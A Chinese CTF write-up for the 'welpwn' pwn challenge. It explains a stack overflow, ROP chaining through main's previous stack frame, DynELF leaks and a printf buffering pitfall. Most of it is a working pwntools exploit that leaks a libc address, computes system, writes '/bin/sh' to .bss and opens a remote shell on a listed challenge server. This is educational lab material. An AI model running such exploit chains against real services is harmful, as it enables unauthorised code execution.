echo 函数有栈溢出,把之前read的字符串复制到栈里,可素64位rop指令有00,所以根据echo函数逻辑,一个pop之类的后面的ret就覆盖不了,rop到此为止。不过看看main,木有截断哦,所以ppppr = 0x40089c这个就是为了把之前main栈里的24个a和一个pppr弹出来,接着不就可以之后写个ret,继续构造rop了吗!所以利用上一个栈桢是很有用滴,比如robot那个构造递归调用读取上面栈桢同flag的值
神器是DynELF,据说只需要写个leak,把某地址的内容读出来就行。通过此方法可以不需要libc!!! leak每次把流程返回到main,就可以重新rop出地址的内容,据说栈用太多会出问题,所以没事就要pop下栈,然而并不知道何时pop,所以改天还是得问问
另,rop的精髓就在于ret地址保存在栈上,所以一个ret可以接着一个ret
这里面一个坑点在于printf自己木有\n木有缓冲,于是回到main函数遇到fflush(如果fd=null,把输出全flush)才回把之前的24个a和pppr打出来,因此接收地址时要注意。
输出函数缓冲小知识链接
http://www.pixelbeat.org/programming/stdio_buffering/
from pwn import *
#sock1 = process('./welpwn')
sock1=remote('218.2.197.235',21032)
elf=ELF('welpwn')
got_write=elf.got['write']
got_read=elf.got['read']
pppppr=0x400896
mv=0x400880
bss_start = 0x601060
poprdi = 0x004008a3
ppppr = 0x40089c
puts_plt = 0x4005A0
main = 0x4007CD
flag=True
def leak(addr):
global flag
print sock1.recvuntil("RCTF\n")
rop=p64(pppppr)+p64(0)+p64(0)+p64(1)+p64(got_write)+p64(8)+p64(addr)+p64(1)+p64(mv)+'A'*56+p64(main)
sock1.sendline('A'*24 + p64(ppppr) + rop)
print "send:"
if flag:
d=sock1.recv(8)
flag=False
else:
print sock1.recv(0x1b)
d=sock1.recv(8)
return d
d=leak(got_write)
print "write:"+hex(u64(d))
#d = DynELF(leak, elf=ELF('./welpwn'))
#system = d.lookup('system', 'libc')
offset=-0xa6100
system=u64(d)+offset
print 'system address:'+hex(system)
#gets = d.lookup('gets', 'libc')
rop1 = p64(pppppr)+p64(0)+p64(0)+p64(1)+p64(got_read)+p64(16)+p64(bss_start)+p64(0)+p64(mv)+'A'*56+p64(main)
sock1.recvuntil('F\n')
sock1.sendline('A'*24 + p64(ppppr) + rop1)
sock1.send('/bin/sh\0')
sock1.send(p64(system))
rop2 = p64(pppppr)+p64(0)+p64(0)+p64(1)+p64(bss_start+8)+p64(0)+p64(0)+p64(bss_start)+p64(mv)+'A'*56+p64(main)
sock1.recvuntil('F\n')
sock1.sendline('A'*24 + p64(ppppr) + rop2)
sock1.interactive()